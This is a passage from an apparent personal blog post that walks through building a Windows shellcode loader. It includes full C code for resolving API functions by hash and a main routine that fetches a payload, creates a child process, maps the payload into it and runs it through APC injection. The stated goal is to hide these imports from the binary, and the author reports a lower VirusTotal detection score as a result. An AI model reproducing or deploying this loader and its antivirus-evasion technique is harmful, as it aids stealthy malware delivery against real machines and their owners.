</span></span></span><span style="display:flex;"><span>	fnCreateFileMappingW		pCreateFileMappingW;		<span style="color:#75715e">// from kernel32.dll
</span></span></span><span style="display:flex;"><span>	fnMapViewOfFile				pMapViewOfFile;				<span style="color:#75715e">// from kernel32.dll
</span></span></span><span style="display:flex;"><span>	fnQueueUserAPC				pQueueUserAPC;				<span style="color:#75715e">// from kernel32.dll
</span></span></span><span style="display:flex;"><span>	fnDebugActiveProcessStop	pDebugActiveProcessStop;	<span style="color:#75715e">// from kernel32.dll
</span></span></span><span style="display:flex;"><span>	fnMapViewOfFileNuma2		pMapViewOfFileNuma2;		<span style="color:#75715e">// from kernelbase.dll
</span></span></span><span style="display:flex;"><span>} H_API, <span style="color:#f92672">*</span> PH_API;
</span></span></code></pre></div><p>Each function type definition was sourced from microsoft documentation.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">//\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#a6e22e">BOOL</span>(WINAPI<span style="color:#f92672">*</span> fnCreateProcessW)(
</span></span><span style="display:flex;"><span>	IN		OPTIONAL	LPCWSTR               lpApplicationName,
</span></span><span style="display:flex;"><span>	IN	OUT	OPTIONAL	LPWSTR                lpCommandLine,
</span></span><span style="display:flex;"><span>	IN		OPTIONAL    LPSECURITY_ATTRIBUTES lpProcessAttributes,
</span></span><span style="display:flex;"><span>	IN		OPTIONAL    LPSECURITY_ATTRIBUTES lpThreadAttributes,
</span></span><span style="display:flex;"><span>	IN					BOOL                  bInheritHandles,
</span></span><span style="display:flex;"><span>	IN					DWORD                 dwCreationFlags,
</span></span><span style="display:flex;"><span>	IN		OPTIONAL    LPVOID                lpEnvironment,
</span></span><span style="display:flex;"><span>	IN		OPTIONAL    LPCWSTR               lpCurrentDirectory,
</span></span><span style="display:flex;"><span>	IN					LPSTARTUPINFOW        lpStartupInfo,
</span></span><span style="display:flex;"><span>	OUT					LPPROCESS_INFORMATION lpProcessInformation
</span></span><span style="display:flex;"><span>	);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#a6e22e">BOOL</span>(WINAPI<span style="color:#f92672">*</span> fnWriteProcessMemory)(
</span></span><span style="display:flex;"><span>	IN  HANDLE  hProcess,
</span></span><span style="display:flex;"><span>	IN  LPVOID  lpBaseAddress,
</span></span><span style="display:flex;"><span>	IN  LPCVOID lpBuffer,
</span></span><span style="display:flex;"><span>	IN  SIZE_T  nSize,
</span></span><span style="display:flex;"><span>	OUT SIZE_T<span style="color:#f92672">*</span> lpNumberOfBytesWritten
</span></span><span style="display:flex;"><span>	);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-createfilemappingw
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#a6e22e">HANDLE</span>(WINAPI<span style="color:#f92672">*</span> fnCreateFileMappingW)(
</span></span><span style="display:flex;"><span>	IN           HANDLE                hFile,
</span></span><span style="display:flex;"><span>	IN	OPTIONAL LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
</span></span><span style="display:flex;"><span>	IN           DWORD                 flProtect,
</span></span><span style="display:flex;"><span>	IN           DWORD                 dwMaximumSizeHigh,
</span></span><span style="display:flex;"><span>	IN           DWORD                 dwMaximumSizeLow,
</span></span><span style="display:flex;"><span>	IN	OPTIONAL LPCWSTR               lpName
</span></span><span style="display:flex;"><span>	);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#a6e22e">LPVOID</span>(WINAPI<span style="color:#f92672">*</span> fnMapViewOfFile)(
</span></span><span style="display:flex;"><span>	IN HANDLE hFileMappingObject,
</span></span><span style="display:flex;"><span>	IN DWORD  dwDesiredAccess,
</span></span><span style="display:flex;"><span>	IN DWORD  dwFileOffsetHigh,
</span></span><span style="display:flex;"><span>	IN DWORD  dwFileOffsetLow,
</span></span><span style="display:flex;"><span>	IN SIZE_T dwNumberOfBytesToMap
</span></span><span style="display:flex;"><span>	);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffilenuma2
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#a6e22e">PVOID</span>(WINAPI<span style="color:#f92672">*</span> fnMapViewOfFileNuma2)(
</span></span><span style="display:flex;"><span>	IN           HANDLE  FileMappingHandle,
</span></span><span style="display:flex;"><span>	IN           HANDLE  ProcessHandle,
</span></span><span style="display:flex;"><span>	IN           ULONG64 Offset,
</span></span><span style="display:flex;"><span>	IN	OPTIONAL PVOID   BaseAddress,
</span></span><span style="display:flex;"><span>	IN           SIZE_T  ViewSize,
</span></span><span style="display:flex;"><span>	IN           ULONG   AllocationType,
</span></span><span style="display:flex;"><span>	IN           ULONG   PageProtection,
</span></span><span style="display:flex;"><span>	IN			 ULONG   PreferredNode
</span></span><span style="display:flex;"><span>	);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#a6e22e">DWORD</span>(WINAPI<span style="color:#f92672">*</span> fnQueueUserAPC)(
</span></span><span style="display:flex;"><span>	IN PAPCFUNC  pfnAPC,
</span></span><span style="display:flex;"><span>	IN HANDLE    hThread,
</span></span><span style="display:flex;"><span>	IN ULONG_PTR dwData
</span></span><span style="display:flex;"><span>	);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-debugactiveprocessstop
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#a6e22e">BOOL</span>(WINAPI<span style="color:#f92672">*</span> fnDebugActiveProcessStop)(
</span></span><span style="display:flex;"><span>	IN DWORD dwProcessId
</span></span><span style="display:flex;"><span>	);
</span></span></code></pre></div><p>I defined a function called <code>InitApis</code> that populates a pointer value to the <code>H_API</code> structure containing function addresses resolved through custom procedures defined above.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">InitApis</span>(
</span></span><span style="display:flex;"><span>	OUT	PH_API<span style="color:#f92672">*</span>			ppHashedApis
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;g_InitHash: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, g_InitHash);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	PWINAPI_MODULE	pKernel32			<span style="color:#f92672">=</span> (PWINAPI_MODULE)<span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, <span style="color:#66d9ef">sizeof</span>(WINAPI_MODULE));
</span></span><span style="display:flex;"><span>	PWINAPI_MODULE	pKernelbase			<span style="color:#f92672">=</span> (PWINAPI_MODULE)<span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, <span style="color:#66d9ef">sizeof</span>(WINAPI_MODULE));
</span></span><span style="display:flex;"><span>	PH_API			pHashedApis			<span style="color:#f92672">=</span> (PH_API)<span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, <span style="color:#66d9ef">sizeof</span>(H_API));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pKernel32 <span style="color:#f92672">||</span> <span style="color:#f92672">!</span>pKernelbase <span style="color:#f92672">||</span> <span style="color:#f92672">!</span>pHashedApis) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to allocate memory in InitApis.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pKernel32<span style="color:#f92672">-&gt;</span>ModuleHash <span style="color:#f92672">=</span> KERNEL32_DLL_FnvvW;
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">GetModuleHandleCustom</span>(pKernel32);				<span style="color:#75715e">// populates pKernel32-&gt;ModuleHandle
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pKernel32<span style="color:#f92672">-&gt;</span>ModuleHandle) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to retrive kernel32.dll handle.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pKernelbase<span style="color:#f92672">-&gt;</span>ModuleHash <span style="color:#f92672">=</span> KERNELBASE_DLL_FnnvW;
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">GetModuleHandleCustom</span>(pKernelbase);				<span style="color:#75715e">// populates pKernelbase-&gt;ModuleHandle
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pKernelbase<span style="color:#f92672">-&gt;</span>ModuleHandle) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to retrive kernelbase.dll handle</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span>pCreateProcessW <span style="color:#f92672">=</span> (fnCreateProcessW)<span style="color:#a6e22e">GetProcAddressCustom</span>(pKernel32, CreateProcessW_FnvvW);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span>pCreateProcessW) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve CreateProcessW.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">CreateProcessW</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> address: 0x%p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pHashedApis<span style="color:#f92672">-&gt;</span>pCreateProcessW);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span>pWriteProcessMemory <span style="color:#f92672">=</span> (fnWriteProcessMemory)<span style="color:#a6e22e">GetProcAddressCustom</span>(pKernel32, WriteProcessMemory_FnvvW);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span>pWriteProcessMemory) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve WriteProcessMemory.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">WriteProcessMemory</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> address: 0x%p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pHashedApis<span style="color:#f92672">-&gt;</span>pWriteProcessMemory);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span>pCreateFileMappingW <span style="color:#f92672">=</span> (fnCreateFileMappingW)<span style="color:#a6e22e">GetProcAddressCustom</span>(pKernel32, CreateFileMappingW_FnvvW);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span>pCreateFileMappingW) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve CreateFileMappingW.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">CreateFileMappingW</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> address: 0x%p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pHashedApis<span style="color:#f92672">-&gt;</span>pCreateFileMappingW);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span>pMapViewOfFile <span style="color:#f92672">=</span> (fnMapViewOfFile)<span style="color:#a6e22e">GetProcAddressCustom</span>(pKernel32, MapViewOfFile_FnvvW);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span>pMapViewOfFile) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve MapViewOfFile.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">MapViewOfFile</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> address: 0x%p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pHashedApis<span style="color:#f92672">-&gt;</span>pMapViewOfFile);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span>pQueueUserAPC <span style="color:#f92672">=</span> (fnQueueUserAPC)<span style="color:#a6e22e">GetProcAddressCustom</span>(pKernel32, QueueUserAPC_FnvvW);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span>pQueueUserAPC) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve QueueUserAPC.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">QueueUserAPC</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> address: 0x%p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pHashedApis<span style="color:#f92672">-&gt;</span>pQueueUserAPC);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span>pDebugActiveProcessStop <span style="color:#f92672">=</span> (fnDebugActiveProcessStop)<span style="color:#a6e22e">GetProcAddressCustom</span>(pKernel32, DebugActiveProcessStop_FnvvW);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span>pDebugActiveProcessStop) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve DebugActiveProcessStop.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">DebugActiveProcessStop</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> address: 0x%p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pHashedApis<span style="color:#f92672">-&gt;</span>pDebugActiveProcessStop);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span>pMapViewOfFileNuma2 <span style="color:#f92672">=</span> (fnMapViewOfFileNuma2)<span style="color:#a6e22e">GetProcAddressCustom</span>(pKernelbase, MapViewOfFileNuma2_FnvvW);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span>pMapViewOfFileNuma2) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve MapViewOfFileNuma2.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">MapViewOfFileNuma2</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> address: 0x%p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pHashedApis<span style="color:#f92672">-&gt;</span>pMapViewOfFileNuma2);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>ppHashedApis	<span style="color:#f92672">=</span> pHashedApis;
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The <code>DEBUG_PRINT</code> macro comes from the codebase described in my <a href="https://ashtrace.github.io/posts/my_first_loader/">previous blog</a>.</p>
<p>The <code>DEBUG_PRINT</code> macro helps me to strip the debug <code>printf</code> statements and hardcoded debug strings at compilation. It controlled by <code>LOG_DEBUG_MSG</code>, when defined the <code>DEBUG_PRINT</code> statements are essentially <code>printf</code> calls specifying file and line number along with the message passed. When <code>LOG_DEBUG_MSG</code> is not defined, <code>DEBUG_PRINT</code> turns to be just a void statement.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#define LOG_DEBUG_MSG
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ifdef LOG_DEBUG_MSG
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define DEBUG_PRINT(fmt, ...) \
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">	printf(&#34;[DEBUG] (%s:%d) &#34; fmt &#34;\n&#34;, __FILE__, __LINE__,  ##__VA_ARGS__)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#else
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define	DEBUG_PRINT(fmt, ...) ((void)0)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#endif </span><span style="color:#75715e">// !LOG_DEBUG_MSG
</span></span></span></code></pre></div><h3 id="the-import-problem">The import problem</h3>
<p>Remember the <code>__TIME__</code> in compile-time random seed generation? It came to bite me as for every source file where the hashing capabilities were added, it defined a new <code>g_InitHash</code> value. To tackle this:</p>
<ul>
<li>
<p>I limited the import of hash function definitions only within the resolution logic, thus the compile-time hashes are defined within the scope of source-code concerned with hash-based resolution.</p>
</li>
<li>
<p>The <code>InitApis</code> function acts as an entry point into the function resolution flow.</p>
</li>
<li>
<p>The <code>main</code> function is made aware of <code>InitApis</code> through following statment (as header with function declaration as it would cascade into hash functions being re-evaluated for <code>main</code>).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">extern</span> BOOL <span style="color:#a6e22e">InitApis</span>(
</span></span><span style="display:flex;"><span>    OUT	PH_API<span style="color:#f92672">*</span>			ppHashedApi
</span></span><span style="display:flex;"><span>);
</span></span></code></pre></div></li>
</ul>
<p>Thus the <code>main</code> function:</p>
<ul>
<li>Leverages <code>InitApis</code> to initialize the functions through their hashes.</li>
<li>Call the helper functions to
<ul>
<li>fetch the payload</li>
<li>create a child process</li>
<li>inject mapping into the child process</li>
<li>schedule call to payload through APC injection</li>
</ul>
</li>
<li>Remove the debugger to execute the APC call.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;common.h&#34;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">extern</span> BOOL <span style="color:#a6e22e">InitApis</span>(
</span></span><span style="display:flex;"><span>	OUT	PH_API<span style="color:#f92672">*</span>			ppHashedApi
</span></span><span style="display:flex;"><span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">wmain</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">wchar_t</span><span style="color:#f92672">**</span> argv) {
</span></span><span style="display:flex;"><span>	PBYTE			pBlob			<span style="color:#f92672">=</span> NULL,
</span></span><span style="display:flex;"><span>					pBlobCopy		<span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	SIZE_T			sBlobSize		<span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>	HANDLE			hProcess		<span style="color:#f92672">=</span> NULL,
</span></span><span style="display:flex;"><span>					hThread			<span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	DWORD			dwProcessID		<span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>	PH_API			pHashedApis	<span style="color:#f92672">=</span> { <span style="color:#ae81ff">0</span> };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">InitApis</span>(<span style="color:#f92672">&amp;</span>pHashedApis);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">FetchBlob</span>(argv[<span style="color:#ae81ff">1</span>], <span style="color:#f92672">&amp;</span>pBlob, <span style="color:#f92672">&amp;</span>sBlobSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">CreateSuspendedProcess</span>(pHashedApis, argv[<span style="color:#ae81ff">2</span>], <span style="color:#f92672">&amp;</span>hProcess, <span style="color:#f92672">&amp;</span>hThread, <span style="color:#f92672">&amp;</span>dwProcessID);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">CopyBlob</span>(pHashedApis, hProcess, pBlob, sBlobSize, <span style="color:#f92672">&amp;</span>pBlobCopy);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ScheduleRun</span>(pHashedApis, hThread, pBlobCopy);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">pDebugActiveProcessStop</span>(dwProcessID);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ifdef LOG_DEBUG_MSG
</span></span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;PAUSE&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif </span><span style="color:#75715e">// !LOG_DEBUG_MSG
</span></span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Notice that helper functions now receive the hash-resolved-function-address structure to leverage the WinAPIs through their calculated addresses. Same occurs for removing the debugger, where <code>DebugActiveProcessStop</code> is being called through its address stored in the <code>HashedApis</code> structure.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>pHashedApis<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">pDebugActiveProcessStop</span>(dwProcessID);
</span></span></code></pre></div><h3 id="benchmarks">Benchmarks</h3>
<p>All of this kung-fu resulted in removing the mentioned infamous functions from the binary IAT. The left pane shows the IAT of loader version from last blog-post, the right pane shows the IAT with function hashing.</p>
<p><img src="./loader3-vs-netutil5-iat.png" alt="loader3-vs-netutil5-iat"></p>
<p>A submission on VirusTotal showed that the detection score dropped from 6 to 5.</p>
<p><img src="./NetUtil5-virustotal.png" alt="NetUtil5-virustotal"></p>
<p>While a decrement of a single unit was appreciated, it wasn&rsquo;t much. As the engine was already in place, I hashed the WinInet functions too. The updated <code>InitApis</code> function included</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">InitApis</span>(
</span></span><span style="display:flex;"><span>	OUT	PH_API<span style="color:#f92672">*</span> ppHashedApis
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// ...
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	PWINAPI_MODULE	pWininet	<span style="color:#f92672">=</span> (PWINAPI_MODULE)<span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, <span style="color:#66d9ef">sizeof</span>(WINAPI_MODULE));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pKernel32 <span style="color:#f92672">||</span> <span style="color:#f92672">!</span>pKernelbase <span style="color:#f92672">||</span> <span style="color:#f92672">!</span>pWininet <span style="color:#f92672">||</span> <span style="color:#f92672">!</span>pHashedApis) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to allocate memory in InitApis.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
